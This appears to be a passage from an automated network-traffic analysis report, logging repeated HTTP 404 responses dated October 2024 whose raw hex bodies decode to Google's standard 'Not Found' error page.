70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:50 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:51 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:52 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:56 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:57 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:58 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:01 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 